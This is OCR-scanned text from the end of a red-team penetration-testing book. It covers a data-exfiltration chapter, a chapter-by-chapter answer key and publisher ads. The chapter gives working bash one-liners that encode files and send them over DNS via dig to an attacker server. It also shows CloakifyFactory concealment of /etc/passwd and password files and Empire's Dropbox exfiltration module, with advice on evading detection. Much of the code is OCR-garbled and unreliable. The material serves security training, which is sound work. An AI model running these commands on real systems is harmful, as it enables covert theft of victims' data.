St. Paul Double

Holger

Rodenbach

't Smisje Calva Reserva

Let us try getting the original file back from the cloaked one. We run the tool again,
choose option 2, and enter the file name as well as the output file name as shown as
follows:


https://technet24.ir
https://technet24.ir

Menu

Cloakify Factory Main

1)
2)
3)
4)
5)
6)
7)

Cloakify a File
Decloakify a File
Browse Ciphers

Browse Noise Generators
Help / Basic Usage
About Cloakify Factory
Exit

[Selection: 2

Decloakify a Cloaked File

[Save decloaked data to filename (default:

Next, we choose the cipher we used to cloak the file:
22 - emo]1
23 - pokemonGo

24 = worldBeaches

[Enter cipher #: 3

Decloaking file using cipher:

Decloaked file test.txt ,

[Press return to continue...

saved

belglianBeers

to passwd.txt

By opening the output file, we will see that it's the /etc/passwa file, which we originally

cloaked. We can see that in the screenshot as follows:
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root:x:@:8:root:/root: /bin/bash
daemon:x:1l:1l:daemon:/usr/sbin: fusr/sbin/nologin
bin:x:2:2:bin:/bin:fusr/sbin/nologin

4= b :/dev:fusr/sbin/nologin
4:sync:/bin:/bin/sync

man:x:6:12:man:/var/cache/man: fusr/sbin/nologin
lp:x:7:7:1p:/var/spool/lpd: fusr/sbin/nologin

Of course, it is not possible to clone the entire repository on the victim's machine which
1s why it has cicaxify.py, Which is a standalone Python file. We can use this with a simple
command as follows:

|python cloakify.py filename ciphername

In the following screenshot, we can see the /etc/passwa cloaked as Hindi words:

~f/tools/Cloakify# python cloakify.py /etc/passwd ciphers/dessertsHindi

MAT T AT TP
kil

To decloak this, we have the decicaxisy Option which can be run as follows:
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|python decloakify.py cloakedfile ciphername

In the following screenshot, we can see the decloaked etc/passwa:

~/tools/Cloakify# python decloakify.py base.txt ciphers/dessertsHindi
[root:x:@:@:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

sysix:i3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:0@:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man: /var/cache/man:/usr/sbin/nologin
Llpix:7:7:1p:/var/spool/\pd: /usr/sbin/nologin
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Running CloakifyFactory on Windows

Python 1s not always found on a Windows server, but cicaxisy.py can be compiled to a
Windows standalone executable file, which can then be uploaded and executed on the
system. Let's view an example of this now.

We browse the files in our Armitage as shown as follows:

Meterpreter 1

. Access >

Services Interact >

Scan Explore > Browse Files

Host » | Pivoting » | Show Processes
ARP 5can... Log Keystrokes
Kill Screenshot

Webcam Shot

Post Modules

We select and upload the c10axify.exe and the cipher file on the system as follows:
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® @ Open

Look In: |[Ej‘l:leskmp 'J | (i i foot e o |

‘m«

[:_:T Screenshots | payload.txt

a | Picture1.png

| cloakify.exe __

«\_ ) T
File Name: cloakify.exe
Files of Type: |All Files _:J

| Open | | Cancel |

When the upload is complete, we browse to the uploaded folder and run the EXE as
shown as follows:

[E*.rent log X T multi/handler X Tcmd.exe 3716@l X | Files 1 X |

C:\> cloakify.exe C:\Users\PT\Desktop\passwords.txt amphibians
Oregonensis

Gavilanensis

Ambystoma

Bufonidae

Oregonensis

Nyctibatrachidae

Microhylidae

Ambystomatidae

Plethodontidae
Telmatobiidae
Typhlonectidae
Croceum
Taricha
Rhacophoridae
Ranidae

Croceater
Plethodon
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This output can be saved to a file and exfiltrated to our C2 where we can decloakify it
to view the contents of the file as shown as follows:

[MacBook=Air:Cloakify Himanshu$ python decloakify.py passwords_cloaked.txt ciphers/amphibians
(12.0.0.12
admin:sadmin

http://192.168.2.35:8080/weblogin.php
admin:iamlucky
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Data exfiltration via DNS

Data exfiltration can also be done over DNS to avoid detection. DNSteal is a great tool
for this as it creates a fake DNS server, which listens for DNS requests while on the
client; we can transfer the file data using simple =or loops. This supports single as well
as multiple file transfers.

The tool can be downloaded at the following link:
https://github.com/m57/dnsteal
Once downloaded, the tool can be run using the command shown as follows:

python dnsteal.py

Stealthy file extraction via DN5 requests

DNS listening on
On the victim machine, use any of the following commands:
Remember to set filename for individual file transfer.

[?] Copy individual file (ZIP enabled)

f=file.txt; s5=48;b=500;c=8; for r in $(for i in $(gzip -c $f| basebd -w@ | sed "s/.\{%b
\}/&\n/g");do if [[ "$c" -1t “$s" ]]; then echo -ne "$i-."; c=$(($c+l)); else echo -ne "\n$i-.";
c=1; fi; done }; do dig ¢ ‘echo -ne $r$f|tr "+" "#"' +short; done

[7] Copy entire folder (ZIP enabled)
for f in $(1s .); do s=4@;b=508@;c=0; for r in §$(for i in $(gzip -c $f| basebd -w® | sed
"s/A{$b\}/&\n/g" ) ;do if [[ "$c" =1t "$s" 1]; then echo -ne "$i-."; c=%$((%c+1}); else echo -ne

"\n$i-."; c=1; fi; done }; do dig ¢ ‘echo =-ne $r$f|tr

+" "4"' +short; done ; done

Once files have sent, use Ctrl+C to exit and save.

This will start the server which will listen on port s3 for incoming connections.

The tool also gives us a command to be run on *nix-based systems. To exfiltrate data,
we use that command and paste it in the client's shell as shown as follows:
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~# f=password.txt; s=4;b=5;c=0; for r in $(for i in $(gzip -c $f| b
e6d -wd | sed "s/.\{$b\}/&\n/g");do if [[ "$c" -1t "$s" ]]; then echo -ne "$i-.

“; c=$((%$c+1)); else echo -ne "\n$i-."; c=1; fi; done ); do dig ¢
“echo =ne $r§f|tr "+" """ +short; done

This will send password.cxt to our server and we will receive the file on our server as
shown as follows.

Once the file transfer has completed, we press Ctrl + C, which will exit the server and
save our file:

files have sent, use Ctrl+C to exit and save.

We can open the file to confirm the contents as follows:

# cat recleved_2018-89-23_86-59-54_ password.txt

password 1s password

There are other simple commands which we can create to transfer data to our server.
This includes the following:

Ifor b in $(xxd -p file/to/send); do dig @serverIP $b.filename.com; done

To send multiple files, we can use the command as follows:

Ifor filename in $(1ls); do for a in $(xxd -p $f); do dig +short@serverIP %a.$filename.com; done; ¢
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Data exfiltration via Empire

We have already learned about getting reverse shells on Empire and using Empire to
achieve persistence on the system. The next step is data exfiltration.

Empire has a built-in module which allows us to upload the data directly on to
Dropbox. This is very useful in situations in which IP whitelisting is done, as Dropbox
is one of the domains that generally allows employee access.

Let's take a look at an example of how this module is used. We interact with our agent
and run the command as shown as follows:

| usemodule exfiltration/exfil dropbox

To view the details of the module, we type the info command:
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J o= usemodule exfiltrationd/exfil_dropbox
3= 1ntfo

Mame: Inwoke-DropboxUpload
Module: powershell/exfiltration/exfil_dropbox
Neadsddmin: False
Opsechafte: True
Language: powershell
MinLanguageVersion: 2
Background: False
OutputExtension: None

Authors:
kdick@tevora.com
Laurent Kempe

Description:
Upload a file to dropbox

Comments:
Uploads specified file to dropbox Ported to powershell’
from script by Laurent kempe:
http://laurentkempe. com/ 2816/84/87 /Upload-files-to-DropBox-
from-Fowershell/ Use forward slashes for the TargetFilePath

Options:

Mame Eequired Yalue Description

SourceFilePath True fpath/to/file

Apikey True Your dropbox aptl key
TargetFileFath True fpath/ to/dropbox/file
Agent True SMTBHAE Agent to use

This requires the path of the file we wish to transfer and the Dropbox API key, along
with the target filename.

;
;

» et SourceR1lePath C:\sers\PTADesktopbpasswonds. it
> S0 Ay T T etz

Once everything is set we execute the module as shown following, and the agent will
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then transfer the file to Dropbox using the Dropbox API. All this is done inside the
memory itself, thereby making it harder to detect.

)

‘et o

Viewing our Dropbox account, we can see that a folder is created and inside the folder
we should have our passwora file, which we wanted to transfer:
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Summary

In this chapter, we learned about data exfiltration and why it is needed. Then, we
learned some basic ways of transferring data using simple tools like Netcat, OpenSSL,
and PowerShell. Next, we jumped into transforming the data using text-based
steganography to avoid detection, as well as looking at the usage of the CloakifyFactory
tool. We also learned about extracting data via DNS from a victim machine to our
server. Lastly, we explored how to exfiltrate data using Dropbox API to avoid
detection, suspicion, and for bypassing firewalls.

Our journey with you ends here. We hope that you have enjoyed reading these chapters
and that you have learned from them as well.

We would love to hear your feedback on this book. You can reach us on LinkedIn at the
following links:

® https://linkedin.com/in/0xhimanshu
® https://www.linkedin.com/in/hs-ninja

° Emall: himanshu@bugsbounty.com
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Questions

1. Are there other ways to exfiltrate data? Are these techniques totally undetectable?
2. What is a frequency analysis attack?
3. What other tools can be used for Data exfiltration?
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Further reading

For more information on the topics discussed in this chapter, please visit the following
links:

https:
https:
https:

https:

acks/

https:

https:

//7i0.net/2015/09/30/data-exfiltration-dnsteal/
//nOwhere.net/data-exfiltration-over-dns-request-covert-channel-dnsexfiltrator
//github.com/m57/dnsteal

//blog.trendmicro.com/trendlabs-security-intelligence/data-exfiltration-in-targeted-att

//www.techopedia.com/definition/14682/data-exfiltration

//www.sciencedirect.com/science/article/pii/S2212017313005033
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Assessment
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Chapter 1: Red-Teaming and Pentesting

1. OWASP, OSSTMM, ISSAF.

2. Different phases of PTES are:
e Reconnaissance

Compromise

Persistence

Command and control

Privilege escalation

Pivoting

Reporting and cleanup

3. Difference between red-teaming and pentesting is:

e Red-teaming involves finding and exploiting only those vulnerabilities that
help to achieve our goal, whereas pentesting involves finding and exploiting
vulnerabilities in the given scope, which is limited to digital assets.

e Red-teaming has an extremely flexible methodology, whereas, pentesting has
fixed static methods.

¢ During red-teaming, the security teams of the organizations have no
information about it, whereas during pentesting, security teams are notified.

e Red-teaming attacks can happen 24/7, while pentesting activities are mostly
limited to office hours.

e Red-team is more about measuring the business impact of the vulnerabilities,
whereas, pentesting is about finding and exploiting vulnerabilities.

4. Key elements of a report are:

e Criticality of the bug

e Steps of reproduction of the bug

e Patch suggestions

5. The main objective of red-teaming is to assess and obtain the real level of risk a
company has at that moment of time. In this activity, networks, applications,
physical, and people (social engineering) are tested against weaknesses.
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Chapter 2: Pentesting 2018

1. When generating a simple payload in mstvenom, you need to include many options in
it. This 1s definitely a confusing and time-consuming process because each time
when you need to generate a payload, you will be typing a long command for it.
MSFPC just does what nsfvenom does, but with fewer words to type.

2. It all depends upon the creator but in the meantime, if you feel that some features
are missing, you can always fork the script and contribute to the community.

3. When you don't know what device the victim will use, you can generate all these
types of payload and download these files from your web server to the victim's
system (Phishing, Drive-by, Ewhoring, and so on). You need to obfuscate/encrypt
the files to avoid AV detection.

4. No. However, it's already packaged in Kali rolling. You can install MSFPC in Kali
by executing the following command:

| apt install msfpc -y

5. Unlike Empire (which is based on Python & PowerShell ) or Metasploit (the
payload signatures are publicly available for easy detection), Koadic uses
Windows Script Host Utility for in-memory payload execution, which is enough to
bypass some AV detections.

6. Koadic implants are based on JavaScript/VBScript, which don't have as many
functionalities as PowerShell. So just give it some time and wait for the creator to
add more implants.

7. In the upcoming chapters, you'll be getting hands-on experience with tools that can
be used as a replacement for Metasploit (nstconsore) and we'll be seeing how by
using those tools, we can perform a red-team exercise.
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Chapter 3: Foreplay — Metasploit Basics

1. It's up to you. The nightly builds contain version 4. However, if you want to try out
the latest version (version 5), it can be manually downloaded and configured from
their official repository.

2. Integration of Metasploit with slack is not mandatory. However, in most Red
Teaming activity, you may find it pretty useful as you may not always be in a
situation where you will have your laptop in your hand to check and confirm
sessions, especially when social engineering is being used. The slack app can be
easily configured on your phone and getting notified of every new session becomes
Very easy.

3. Yes! Cortana scripts can be created and loaded easily based on the requirements of
your activity.

4. Although the official website says that team server is not supported on Windows,
we can install and run team server on a Windows machine via bash, which was
released for Windows some time ago.

5. The Metapsloit Framework community edition is free to use and is open source.
However, Metasploit also has a paid version that provides a better Ul and a lot
more features. More can be read about this here: nceps://ww. rapia7.con/products/metasp

loit/.


https://www.rapid7.com/products/metasploit/
https://technet24.ir
https://technet24.ir

Chapter 4: Getting Started with Cobalt
Strike

1. Yes. It is necessary to plan the attack because you may get only one shot in which
you have the advantage of the element of surprise. You need to know exactly when
you'll be attacking the server and carry on with the operation.

2. Cobalt Strike is not free, but you can download the trial version online. A little bit
of Googling may help here.

3. Yes, you can. However, for that you need to change the port in the team server
script. Furthermore, running two team servers on the same instance will have a
listener's port conflict. This can be avoided by using different ports for listeners
during setup.

4. You could be connecting to someone else's team server with your credentials. It's
highly unlikely but possible that you're in an MITM attack phase.

5. The older version of Cobalt Strike required MSF, but new versions don't require it
at all. That's the beauty of it.

6. This will be shown in the upcoming chapters. Many new things will also be
covered in later chapters.

7. It's up to your own imagination. You can customize the script to redirect the Cobalt
Strike error logs to a file and get an alert system set up so that whenever the team
server crashes or gets an error in one of its modules, you will find out.
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Chapter 5: ./ReverseShell

1. Yes, it is. Not understanding the tool can be much more problematic than learning
to understand it. Also, you can think of unique solutions in a red-team engagement.

2. Yes, if you don't want the organization to detect your presence in the network.

3. You can either buy MSF Pro, which comes with the GUI web interface, where you
can generate the payloads, or you can also use the venom tool (source: nttps://githu
b.com/r00t-3xp10it/venom) fOr @ partial GUI in Metasploit payload generation.

4. You can download the Cryptcat source code for Windows and compile it using
Visual Studio 2005.

5. Yes, you can. But make sure the encoder you will be using is supported for this
operation.

6. It's recommended that you do because it will get much harder for the organization's
defenders to detect you in this way.

7. Yes, itis. However, it also has a premium access that you can purchase just in case
you want to use an SSL tunnel.
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Chapter 7: Age of Empire — The
Beginning

1. Yes. Empire is an open source tool available on GitHub.
2. Yes, it does, but only when the listener is SSL-enabled.
3. Yes, it does. There's an official Empire GUI, but this can only work with the

Empire 3.0 beta version for now. There's also another Empire GUI tool which is
covered in the next chapter.
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Chapter 8: Age of Empire — Owning
Domain Controllers

1. There are many different techniques which can be used to get access into the
Domain Controller but not all are recommended. It's better to impersonate the
Domain Controller using 'ocsync' to extract the password hashes without requiring
interactive logon or copying the Active Directory database file (ntds.ait).

2. You can either try other UAC modules in Empire for privilege escalation or you
can look for a local vulnerability using privesc/powerup/allchecks module or a
Unquoted Service Path Vulnerability to escalate the privileges manually.

3. DeathStar follows a series of checklist to look for the credentials. If the standard
way didn't work, you need to do some manual reconnaissance to move further.

4. It's not mandatory to retrieve the passwords in plain-text. We can always use Pass-
The-Hash (PTH) technique for lateral movement.

5. Alocal account cannot communicate with the Domain Controller because the local
account would be in a different domain (WORKGROUP). So, to communicate with
the Domain Controller for enumeration and reconnaissance we need to have access
to a domain user account.
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Chapter 9: Cobalt Strike — Red Team
Operations

1. No, Cobalt strike 1s a paid software which costs about USD 3500 per annum and
renewal of license 1s USD 2500.

2. Yes , Cobalt Strike has an external C2 module in it which allows other programs to
act as a middle-man between Cobalt Strike and its Beacon payload.

3. Cobalt Strike's beacon have a mallable C2 profile which define how the
communication happens and the data is stored. There are a different C2 profiles
which can be downloaded from GitHub and used to avoid detection. nttps://github.c
om/rsmudge/Malleable-C2-Profiles.

4. Older versions of Cobalt Strike used Metasploit Framework, but the new versions
are independent and do not depend on Metasploit Framework.
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Chapter 10: C2 — Master of Puppets

1. We can use different platforms such as Gmail, Twitter, and different protocol suits
like HTTP 2.0, DNS, and so for communication.

2. It's recommended that you create a new account because sometimes Dropbox can
disable your account as we're using their features in a simulated attack.

3. Well you can but you need your system to be connected to the internet at all times
because you never know when the agent will be connecting to you. It's
recommended that you setup the C2 server on a cloud service like AWS for
efficient usage.

4. Yes there are tools which can be used for automated configuration and setup. Refer
1O https://rastamouse.me/2017/08/automated-red-team-infrastructure-deployment-with-terraform-
--part-1/.

5. We can use Ansible to deploy and monitor our C2 servers. Refer to nttps://rastamous

e.me/2017/08/automated-red-team-infrastructure-deployment-with-terraform---part-1/ for more

details.
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Chapter 11: Obfuscating C2s —
Introducing Redirectors

1. Yes. you can use a Windows based redirector, provided you have socat installed
for dumb pipe redirection or XAMPP/WAMP installed for smart redirection.

2. We're not the actual attacker here. There are a set of rules that even a red teamer
has to follow. We should configure and install our own redirectors unless the
organization asked us to use theirs. Remember, If the motivation behind the
engagement is negative, then it's just another cyber attack and not a simulated one.

3. You can use any web server which supports web request redirection. You can also
use NGINX instead of Apache for robust connections.

4. Only ifitis allowed by the organization and mentioned in the RoE and if by any
chance the red teamers took things too far, the organization's legal advisors will be
available to make things clear.

5. We can setup the redirectors on any cloud-based Virtual Private Server (VPS)
services such as Digital Ocean, AWS, etc. It's just a plain Linux server with some
additional tools installed.
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Chapter 13: Data Exfiltration

1. Yes, there are alternative methods such as FTP, SSH, Gmail, Twitter, and so on. A
lot of tools and PoC codes can be found on the internet for exfiltration of data.
And, it's not totally undetectable, these techniques help you avoid detection to a
certain level, but we should consider the fact that Blue team may also know about
these tools and might be monitoring tool-specific channels for any activity.

2. Frequency analysis is one of the known ciphertext attacks. This is based on the
study of the frequency of letters or groups of letters in a ciphertext. Frequency
analysis is used for breaking substitution ciphers. The general idea is to find the
popular letters in the ciphertext and to try to replace them with the common letters
in the used language.

3. There are a lot of tools which are released every day for the same purpose, such as
the Data Exfiltration Toolkit and so on.
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Other Books You May Enjoy

If you enjoyed this book, you may be interested in these other books by Packt:

'Yuri Diogenes, Erdal Ozkaya

Cybersecurity -
Attack and
Defense Strategies

Cybersecurity — Attack and Defense Strategies
Yuri Diogenes, Erdal Ozkaya

ISBN: 978-1-78847-529-7

e Learn the importance of having a solid foundation for your security posture

e Understand the attack strategy using cyber security kill chain

e Learn how to enhance your defense strategy by improving your security policies,
hardening your network, implementing active sensors, and leveraging threat
intelligence

e [earn how to perform an incident investigation

e Get an in-depth understanding of the recovery process

e Understand continuous security monitoring and how to implement a vulnerability
management strategy

e [earn how to perform log analysis to identify suspicious activities

Cybersecurity
for Architects

Hands-On Cybersecurity for Architects
Neil Rerup, Milad Aslaner
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ISBN: 978-1-78883-026-3

Understand different security architecture layers and their integration with all
solutions

Study SWOT analysis and dig into your organization’s requirements to drive the
strategy

Design and implement a secure email service approach

Monitor the age and capacity of security tools and architecture

Explore growth projections and architecture strategy

Identify trends, as well as what a security architect should take into consideration
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Leave a review - let other readers know
what you think

Please share your thoughts on this book with others by leaving a review on the site that
you bought it from. If you purchased the book from Amazon, please leave us an honest
review on this book's Amazon page. This is vital so that other potential readers can see
and use your unbiased opinion to make purchasing decisions, we can understand what
our customers think about our products, and our authors can see your feedback on the
title that they have worked with Packt to create. It will only take a few minutes of your
time, but is valuable to other potential customers, our authors, and Packt. Thank you!
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